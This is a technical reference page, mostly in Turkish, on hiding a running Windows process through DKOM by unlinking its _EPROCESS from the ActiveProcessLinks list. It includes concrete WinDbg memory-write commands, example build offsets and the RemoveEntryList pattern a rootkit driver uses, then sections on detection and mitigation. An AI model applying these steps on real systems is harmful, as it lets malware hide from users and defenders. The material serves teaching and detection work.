Skip to content

DKOM EPROCESS manipulation (ActiveProcessLinks)

Unlink an _EPROCESS from the ActiveProcessLinks doubly-linked list by rewriting its neighbours' Flink/Blink, hiding the process from every enumerator that walks the list while the thread continues to run and be scheduled.

Mechanism

Unlink etmek hâlâ çalışan bir process'i neden gizler

Windows'ta çalışan her process bir nt!_EPROCESS object'i ile tanımlanır. Bu object'ler ActiveProcessLinks üyesi üzerinden tek bir dairesel, doubly-linked list'e dizilir; bu üye bir _LIST_ENTRY'dir:

kd> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
   +0x000 Flink : Ptr64 _LIST_ENTRY
   +0x008 Blink : Ptr64 _LIST_ENTRY

List head'i nt!PsActiveProcessHead'tir. Kritik nokta: Flink/Blink pointer'ları _EPROCESS'in başına işaret etmez; bir sonraki/önceki _EPROCESS'in içindeki gömülü ActiveProcessLinks alanına işaret eder. Bir list-entry pointer'ından sahip olan _EPROCESS'e geri dönmek için alan offset'ini çıkarırsınız (bu CONTAINING_RECORD'dur).

İstismar edilen invariant şudur: process enumeration ile scheduling birbirinden ayrıdır. User-mode API'ler (CreateToolhelp32Snapshot, NtQuerySystemInformation/EnumProcesses) ve birçok kernel çağrıcısı process'leri PsActiveProcessHead'ten başlayarak ActiveProcessLinks'i dolaşarak keşfeder. Thread scheduler ise aksine thread'leri KiProcessListHead/dispatcher durumu ve thread-başına KTHREAD üzerinden çalıştırır, ActiveProcessLinks üzerinden değil. Dolayısıyla bir _EPROCESS'i ActiveProcessLinks'ten çıkarmak, process'i enumeration'a görünmez yaparken thread'lerinin yürümeye devam etmesini sağlar — Jamie Butler (FU rootkit) tarafından ilk gösterilen klasik Direct Kernel Object Manipulation (DKOM) sonucu.

Unlink etmek saf bir data-only düzenlemedir. T node'unu list'ten kesip çıkarmak için T'nin öncülünü onun üzerinden atlatır ve T'nin ardılını onu geçip geriye işaret ettirirsiniz:

T.Blink.Flink = T.Flink      (previous node now forwards to next)
T.Flink.Blink = T.Blink      (next node now backs to previous)

Hiçbir yeni privilege oluşturulmaz ve döngü gövdesinde hiçbir kod çalışmaz; iki komşu _LIST_ENTRY write'ı yapması gereken her şeydir. ActiveProcessLinks ve UniqueProcessId gibi offset'ler build'e özgüdür ve her kernel versiyonu için dt nt!_EPROCESS ile doğrulanmalıdır.

Walkthrough

Aşağıdaki örnek offset'ler bir Windows 10 x64 build'inden alınmıştır — onlara güvenmeden önce kendi hedefinizde dt nt!_EPROCESS ile doğrulayın:

kd> dt nt!_EPROCESS UniqueProcessId ActiveProcessLinks ImageFileName
   +0x2e8 UniqueProcessId    : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY
   +0x450 ImageFileName      : [15] UChar

1. Hedef _EPROCESS'i bul. Onu bulmak için PID'i kullan:

kd> !process <pid> 0
PROCESS ffffb208f8b89080
    SessionId: 1  Cid: 0abc    ...
    Image: notepad.exe

ActiveProcessLinks alanı EPROCESS + 0x2f0'da bulunur. Flink'ini (next) ve Blink'ini (prev) oku:

kd> dq ffffb208f8b89080+2f0 L2
ffffb208`f8b89370  ffffb208`f8d1e7b0 ffffb208`f8a4c2c0
                    ^Flink (next)     ^Blink (prev)

Bir komşuyu doğrulamak için bir Flink'i tekrar onun _EPROCESS image adına çevir (alan offset'ini çıkar, ImageFileName ekle):

kd> da ffffb208`f8d1e7b0-2f0+450
ffffb208`f8d1e910  "explorer.exe"

2. Node'u kesip çıkar. T = 0xffffb208f8b89370 olsun (hedefin ActiveProcessLinks'i), T.Flink = 0xffffb208f8d1e7b0 ve T.Blink = 0xffffb208f8a4c2c0 ile. İki write'ı gerçekleştir:

kd> ;; prev.Flink = T.Flink   (Blink->Flink is at prev+0)
kd> eq ffffb208`f8a4c2c0      ffffb208`f8d1e7b0
kd> ;; next.Blink = T.Blink   (Flink->Blink is at next+8)
kd> eq ffffb208`f8d1e7b0+8    ffffb208`f8a4c2c0

İkinci write'taki +8, ardılın Blink alanına ulaşır (_LIST_ENTRY içinde Flink +0'da, Blink +8'dedir).

3. Sonuç. Process list dolaşımlarından kaybolur ama hâlâ canlıdır:

kd> !process 0 0
   ... (target no longer appears) ...

kd> !process ffffb208f8b89080 0   ;; direct pointer still resolves
PROCESS ffffb208f8b89080  Image: notepad.exe

User-mode tasklist / Task Manager onu artık göstermez, yine de thread'leri schedule edilmeye devam eder. Eşdeğer bir kernel-driver düzenlemesi _EPROCESS'i almak için PsLookupProcessByProcessId kullanır, sonra RemoveEntryList(&Process->ActiveProcessLinks) çağırır — bu tam olarak yukarıdaki iki pointer write'ını yapar (ve geleneksel olarak, sonradan bir double-unlink fault'unu önlemek için çıkarılan entry'nin Flink/Blink'ini kendine işaret ettirir).

RemoveEntryList açılımı (driver'ın gerçekte ne yazdığı)
// RemoveEntryList(Entry) expands to:
PLIST_ENTRY Blink = Entry->Blink;   // predecessor
PLIST_ENTRY Flink = Entry->Flink;   // successor
Blink->Flink = Flink;               // prev skips Entry
Flink->Blink = Blink;               // next skips back past Entry
// (rootkit then sets Entry->Flink = Entry->Blink = Entry;)

Detection

  • Cross-view / cross-source process karşılaştırması: ActiveProcessLinks'i dolaş ve ayrıca rootkit'in yamalamadığı bağımsız bir kaynaktan enumerate et — handle table / object directory (PspCidTable), thread scheduler list'leri ya da !process 0 0 vs EnumProcesses. Birinde var olup diğerinde olmayan bir process, gizli-process işaretidir.
  • Memory-forensics araçları (Volatility psscan vs pslist): pslist linked list'i dolaşır; psscan ise _EPROCESS pool tag'lerini fiziksel bellekten oyup çıkarır ve unlink edilmiş object'leri bulur.
  • ActiveProcessLinks'i self-referential olan ya da list dışına işaret eden Proc allocation'ları için pool tag taraması.

Mitigation

  • Kernel Patch Protection (PatchGuard) ve HyperGuard kritik yapıları periyodik olarak doğrular; HVCI / VBS ve signed-driver enforcement (DSE) en baştan kernel write elde etme çıtasını yükseltir.
  • Teknik mevcut bir kernel read/write primitive'i ya da signed/zafiyetli bir driver gerektirir — bu bir entry vector değil, bir post-exploitation data-only adımdır. Kernel-write primitive'ini savunmak buna karşı da savunur.

References